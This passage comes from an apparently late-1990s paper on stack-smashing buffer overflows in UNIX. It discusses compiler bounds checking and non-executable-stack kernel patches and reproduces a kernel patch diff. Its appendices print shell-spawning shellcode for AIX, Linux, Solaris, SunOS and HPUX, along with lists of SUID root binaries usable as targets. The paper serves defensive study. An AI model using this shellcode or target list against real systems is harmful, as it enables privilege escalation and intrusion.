code necessary in checking the stack must be written in assembler, and is thus not portable to 

multiple architectures.

An extreme approach to solving the problem with the compiler involves implementing 

bounds checking in the C programming language.  Possibly the most dangerous solution to 

the stack smashing problem, as this approach violates C programming language’s simplicity, 

efficiency, and flexibility devices.  One approach used in implementing this involves 

modifying the representation of pointers in the language to include three items: the pointer 

itself, and the lower and upper bounds of the pointer’s address space.  By giving the compiler 

the additional upper and lower bound information, it would then be trivial to do bounds 

checking before byte copy functions.  Despite this benefit, using this approach to 

implementing bounds checking has the following disadvantages:  execution time of resulting 

code increases by a factor of ten or more[5], register allocation becomes more expensive by a 

factor of 3:1, new versions of all compiled system libraries and system calls must be provided, 

and code that interfaces with the hardware directly may be completely incompatible or require 

special attention.

A unique approach to modifying the compiler in this manner was done by Richard 

Jones and Paul Kelly at Imperial College in July 199514.  Their patches to gcc are available in 

source and binary form15.[6]  Their approach involved modifying the compiler to perform the 

same type of bounds checking, without modifying the representation of pointers.  

Furthermore, Jones and Kelly provided the option to turn the bounds checking mode on or off 

in a given program.  By representing every pointer with a new base pointer, k,  that is derived 

from the original pointer, p, the following formula was used:

Only one pointer is valid for a given region and one can check whether a pointer arithmetic 

expression is valid by finding its base pointer’s storage region.  This is checked again to insure 

that the expression’s result points to the same storage region.
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In their implementation Jones and Kelly modified the front end of the GNU project’s 

cc compiler, gcc. Code was added to check pointer arithmetic and use, and to maintain a table 

of known allocated storage regions using splay trees for efficiency.  Limited performance 

statistics are as follows:

Performance

       nfib (dumb doubly-recursive Fibonacci): no slowdown. 
              Execution time: same. 
              Compile-time: slowdown of 3 (very small) 
              Executable size: much larger due to inclusion of library. 
       Matrix multiply (ikj, using array subscription): 
              Execution time: slowdown of around 30 compared to unoptimised. 
              Compile-time: slowdown of around 2. 
              Executable size: roughly the same. 

Example 9.2.a Jones and Kelly results

Despite semi-favorable performance statistics, in addition to the general risk involved at 

modifying the C language at this level, this modification involves patching and recompiling 

the existing C compiler and its libraries.  Furthermore, all previously compiled binaries must 

be deleted and recompiled with the new libraries.  Once this is done, all binaries on the system 

will execute with respect to this patch.

In conclusion, modifying the C language or the C compiler to limit stack smashing 

opportunities often involves modifying the C language at a non-trivial level.  Additionally, the 

most complex and comprehensive solutions of this nature, despite their long term 

centralization, still remain largely decentralized and difficult to implement and test in a 

reasonable amount of time.  The more trivial modifications of this nature degenerate simply 

into compiler warning messages that can only encourage the programmer to modify the 

program manually.

11.3  CPU/OS kernel stack execution privilege

The most centralized approach in preventing some stack smashing vulnerabilities 

involves modifying an operating system’s kernel segment limit such that it does not cover the 

actual stack space.  This approach effectively removes the kernel’s stack execution 

permission.  This has a fundamental advantages over other counter-measures.  As the most 

centralized method in limiting stack smashing vulnerabilities, no recompilation of C libraries 

or the actual compiler would be necessary, only the operating system kernel need be 

recompiled.  A practical implementation of this concept on the Linux operating system is 
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described below, this description touches on the details of implementation as well as some of 

the problems.

To remove stack execution privilege in UNIX, the operating system dynamic memory 

allocation stack of the operating system is marked as non-executable.  Thus, every process 

started under such a kernel would have its stack pages also marked non-executable.  Stack 

smashing exploits depend on an executable stack when returning back into a memory address 

which executes an interactive shell.  By removing this functionality from the system, some 

stack smashing vulnerabilities can be stopped.  

A patch removing stack execution permission was written for the Linux operating 

system by someone going only by the alias Solar Designer on the Internet.[7]  This patch 

involved changing the kernel’s code segment limit using a new descriptor, so that it does not 

cover the actual stack space, effectively removing its stack execution privilege.  (for Solar 

Designer’s complete patch, see Appendix C)  As a patch that is not difficult to compile into a 

kernel and test, one must be aware of the potential difficulties with this method.  First, nested 

function calls or trampoline functions do not work properly with patched kernels.  An 

example of a trampoline function is as follows:

include <stdio.h>

  int
  g (int a, int b, int (*gi) (int, int))
  {
    printf ("Inside g,  a = %d, b = %d, gi = 0x%.8lx\n", a, b, (long)gi);
    fflush (stdout);

    if ((*gi) (a, b))
      return a;
    else
      return b;
  }

  void
  f (void)
  {
    int i, j;
    int f2 (int a, int b)
      {
        printf ("Inside f2, a = %d, b = %d\n", a, b);
        fflush (stdout);
        return a > b;
      }

    int f3 (int a, int b)
      {
        printf ("Inside f3, i = %d, j = %d\n", i, j);
        fflush (stdout);
        return i > j;
      }

    if (g (1, 2, f2) != 2) {
      printf ("Trampoline call returned the wrong value\n");
      fflush (stdout);
      abort ();
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    }

    i = 4;
    j = 3;
    if (g (5, 6, f3) != 5) {
      printf ("Trampoline call returned the wrong value\n");
      fflush (stdout);
      abort ();
    }
  }

  int
  main (void)
  {
    printf ("Before trampoline call\n");
    fflush (stdout);
    f ();
    printf ("Trampoline call succeeded\n");
    fflush (stdout);
    return 0;
  }

Example 11.3.a - Trampoline Function in C

Trampoline functions execute function code for that function after a return() call has 

been given.  Most buffer overflow exploit code depends on this ’trampoline’ function of the C 

programming language, in exploiting the return value of a function.  High level LISP 

interpreters and objective C compilers also make extensive use of trampoline functions.

Furthermore, signal handler returns in the Linux operating system require an 

executable stack.  Signal handlers are absolutely crucial in an operating system, thus, a 

temporary executable stack for signal handlers must be implemented.  Thus, buffer overflows 

in signal handlers would still be possible using this temporarily executable stack.

By changing the kernel stack execution permissions, it would stop most SUID buffer 

overflows, excluding those involving signal handlers.  A system with a non-executable stack 

also hinders LISP and Objective C development efforts as well as other functional languages 

might also be affected.  Furthermore, every program contains code that performs fundamental 

operations such as saving and restoring values from CPU registers, performs system calls.  In 

contrast to the formulated stack smashing exploits available, an attack such as this would be 

impossible to prevent by changing the stack execution privilege.  In other words, removing 

the stack execution permission only prevents today’s stack smashing exploits from working 

properly.  As exploits become more sophisticated, (see section 9.1) stack execution bits may 

have little or no relevance in terms of the exploit.  As an aside, this type of patch can also be 

implemented in system CPU hardware.  New system architectures could simply have multiple 

stacks: one for call frames, and one for automatic storage.



16 POSIX.1e (formerly  POSIX.6); http://csrc.ncsl.nist.gov/nistpubs/800-7/node203.html
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In conclusion, by removing stack execution from the system kernel, one can attempt to 

stop the stack smashing problem at the source.  However, this approach suffers in 

implementation because the necessary code is non-portable, standard compiler functions and 

operating system signal handling behavior is modified and may be unpredictable.  In addition 

to these points, this approach is not proven to stop more sophisticated stack smashing exploits.

12.  Conclusion
Stack smashing security exploits have become commonplace on UNIX machines as a 

means to gain access to privileged resources.  By combining standard operations and 

conditions of the UNIX and C programming language, based on this study, one can see how 

an unprivileged user can obtain privileged user permissions.  Furthermore, with the number of 

privileged programs that exist in today’s standard UNIX distributions combined with the fact 

that an overflow exploit could be constructed for any one or number of these operating 

systems.

In spite of stack smashing prevalence, a number of things can be done to prevent most 

stack smashing vulnerabilities.  As the level of awareness of stack smashing exploits 

increases, UNIX vendors, programmers, system administrators and users alike, are educating 

each other.  System administrators can implement various configuration methods to lower the 

possibilities of stack smashing vulnerability exploits.  UNIX vendors can do their part by 

making a commitment to be very cautious with privileged binaries installed by default on their 

specific UNIX distribution.  Lastly but perhaps the most effective solution can come from 

programmers who write privileged code.  As standards evolve and are accepted for coding 

safer privileged programs and creating more secure operating systems16, programmers can 

develop more robust code which is less susceptible to stack smashing.  With the cooperation 

of many people in different parts of the UNIX community, stack smashing security 

vulnerabilities can be defeated. 
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Appendix A - Shellcode for Operating Systems/Architectures

AIX Shell Code
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};                

/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --’/bin/sh\x01’
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
 9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL      
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/                  

i386/Linux
jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"

SPARC/Solaris
sethi   0xbd89a, %l6

        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
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SPARC/SunOS
sethi   0xbd89a, %l6

        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        mov     -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1

HPUX
strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20\x02
\xac\xb4\x3a\x02\x98\x34\x16\x01\x76\x34\x01\x02\x76\x08\x36\x02\x16\x08\x21\x02
\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02\x80\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d
\x69\x2e\x44\x44\x44\x44\x44\x7b\x03\x30\x1b");  
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Appendix B - SUID root programs by distribution

Linux - 2.0.30 #4 Mon May 5 16:40:11 EDT 1997 i586
root@-:~ >find / -user root -perm -004000 -print 

/usr/bin/fdmount

/usr/bin/at

/usr/bin/crontab

/usr/bin/splitvt

/usr/bin/chsh

/usr/bin/newgrp

/usr/bin/passwd

/usr/bin/chfn

/usr/bin/sudo.bin

/usr/bin/procmail

/usr/bin/lpq

/usr/bin/lpr

/usr/bin/lprm

/usr/bin/rcp

/usr/bin/rlogin

/usr/bin/rsh

/usr/bin/traceroute.old

/usr/lib/mc/bin/cons.saver

/usr/lib/svgalib/fun

/usr/lib/svgalib/mousetest

/usr/lib/svgalib/scrolltest

/usr/lib/svgalib/speedtest

/usr/lib/svgalib/testgl

/usr/lib/svgalib/testlinear

/usr/lib/svgalib/vgatest

/usr/lib/svgalib/3d

/usr/lib/svgalib/keytest

/usr/lib/svgalib/accel

/usr/lib/svgalib/eventtest

/usr/lib/svgalib/forktest

/usr/lib/svgalib/testaccel

/usr/lib/newsbin/setnewsids

/usr/local/bin/ssh

/usr/local/bin/sudo

/usr/local/bin/screen-3.7.1

/usr/local/bin/dumpreg

/usr/local/bin/restorefont

/usr/local/bin/restorepalette

/usr/local/bin/restoretextmode

/usr/local/sbin/traceroute

/usr/sbin/pppd-2.2
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/usr/sbin/sendmail

/usr/sbin/sliplogin

/usr/X11R6/bin/xload

/usr/X11R6/bin/xterm

/usr/X11R6/bin/color_xterm

/usr/X11R6/bin/XF86_S3

/usr/X11R6/bin/xosview

/usr/X11R6/bin/XF86_S3.old2

/usr/X11R6/bin/Xaccel

/var/X11R6/lib/AcceleratedX/arch/LINUX/Xaccel

/var/X11R6/lib/AcceleratedX/bin/Xaccel

/bin/su

/bin/mount

/bin/umount

/bin/ping

SunOS - 5.5.1 Generic sun4u sparc
/usr/local/bin/screen-3.7.1

/usr/local/bin/sudo

/usr/local/bin/su

/usr/local/bin/ssh

/usr/local/bin/rlpr

/usr/local/bin/rlprd

/usr/local/bin/top

/usr/local/bin/ntping

/usr/local/bin/straps

/usr/local/bin/rlpq

/usr/local/sbin/traceroute

/usr/local/sbin/tcpdump

/usr/local/sbin/itest

/usr/local/sbin/icmpinfo

/usr/local/X11/xmcd

/usr/local/X11/cda

/usr/bin/at

/usr/bin/atq

/usr/bin/atrm

/usr/bin/chkey

/usr/bin/crontab

/usr/bin/login

/usr/bin/newgrp

/usr/bin/passwd

/usr/bin/ps

/usr/bin/rcp

/usr/bin/rdist

/usr/bin/rlogin

/usr/bin/rsh
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/usr/bin/su

/usr/bin/uptime

/usr/bin/w

/usr/bin/yppasswd

/usr/bin/volcheck

/usr/bin/admintool

/usr/bin/ct

/usr/bin/nispasswd

/usr/lib/fs/ufs/quota

/usr/lib/fs/ufs/ufsdump

/usr/lib/fs/ufs/ufsrestore

/usr/lib/exrecover

/usr/lib/pt_chmod

/usr/lib/utmp_update

/usr/lib/acct/accton

/usr/openwin/bin/xlock

/usr/openwin/bin/ff.core

/usr/openwin/bin/kcms_configure

/usr/openwin/bin/kcms_calibrate

/usr/openwin/lib/mkcookie

/usr/sbin/allocate

/usr/sbin/mkdevalloc

/usr/sbin/mkdevmaps

/usr/sbin/ping

/usr/sbin/sacadm

/usr/sbin/whodo

/usr/sbin/deallocate

/usr/sbin/list_devices

/usr/sbin/static/rcp

/usr/dt/bin/dtaction

/usr/dt/bin/dtappgather

/usr/dt/bin/dtsession

/usr/dt/bin/dtprintinfo

/usr/dt/bin/sdtcm_convert

/usr/proc/bin/ptree

/usr/proc/bin/pwait

/usr/ucb/ps

/sbin/su
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Appendix C - Stack Execution Permission Patches

Linux 2.0
diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/head.S 
Linux/arch/i386/kernel/head.S
--- /extra/Linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997
+++ Linux/arch/i386/kernel/head.S       Sat Apr 12 10:44:58 1997
@@ -402,7 +402,7 @@
        .quad 0xc0c392000000ffff        /* 0x18 kernel 1GB data at 
0xC0000000 */
        .quad 0x00cbfa000000ffff        /* 0x23 user   3GB code at 
0x00000000 */
        .quad 0x00cbf2000000ffff        /* 0x2b user   3GB data at 
0x00000000 */
-       .quad 0x0000000000000000        /* not used */
+       .quad 0x00cafa000000ffff        /* 0x33 user   2.75GB code */
        .quad 0x0000000000000000        /* not used */
        .fill 2*NR_TASKS,8,0            /* space for LDT’s and TSS’s etc */
 #ifdef CONFIG_APM
diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/signal.c 
Linux/arch/i386/kernel/signal.c
--- /extra/Linux-2.0.30/arch/i386/kernel/signal.c       Sat Apr 12 10:41:59 
1997
+++ Linux/arch/i386/kernel/signal.c     Sat Apr 12 10:44:58 1997
@@ -214,7 +214,7 @@
        /* Set up registers for signal handler */
        regs->esp = (unsigned long) frame;
        regs->eip = (unsigned long) sa->sa_handler;
-       regs->cs = USER_CS; regs->ss = USER_DS;
+       regs->cs = USER_HUGE_CS; regs->ss = USER_DS;
        regs->ds = USER_DS; regs->es = USER_DS;
        regs->gs = USER_DS; regs->fs = USER_DS;
        regs->eflags &= ~TF_MASK;
diff -u --recursive /extra/Linux-2.0.30/include/asm-i386/segment.h 
Linux/include/asm-i386/segment.h
--- /extra/Linux-2.0.30/include/asm-i386/segment.h      Sat Apr 12 10:41:37 
1997
+++ Linux/include/asm-i386/segment.h    Sat Apr 12 10:44:58 1997
@@ -4,7 +4,8 @@
 #define KERNEL_CS      0x10
 #define KERNEL_DS      0x18

-#define USER_CS                0x23
+#define USER_HUGE_CS   0x23
+#define USER_CS                0x33
 #define USER_DS                0x2B
 #ifndef __ASSEMBLY__
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